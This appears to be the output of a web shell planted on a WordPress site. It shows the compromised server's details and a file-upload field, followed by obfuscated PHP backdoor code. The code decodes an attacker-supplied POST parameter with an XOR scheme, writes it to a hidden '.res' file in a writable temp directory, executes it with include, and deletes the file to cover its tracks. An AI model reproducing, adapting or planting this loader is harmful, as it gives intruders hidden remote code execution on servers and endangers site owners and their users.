| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/wordpres/ |
Upload File : |
<?php
if(isset($_POST["\x70rope\x72ty\x5Fs\x65\x74"])){
$hld = $_POST["\x70rope\x72ty\x5Fs\x65\x74"];
$hld= explode ( '.' , $hld ) ;
$entity = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
foreach ($hld as $w => $v6) { $sChar = ord($s[$w % $sLen]);
$dec = ((int)$v6 - $sChar - ($w % 10)) ^21;
$entity.= chr($dec);}
$parameter_group = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir()]);
foreach ($parameter_group as $key => $binding) {
if ((bool)is_dir($binding) && (bool)is_writable($binding)) {
$flag = vsprintf("%s/%s", [$binding, ".res"]);
if (file_put_contents($flag, $entity)) {
include $flag;
@unlink($flag);
exit;
}
}
}
}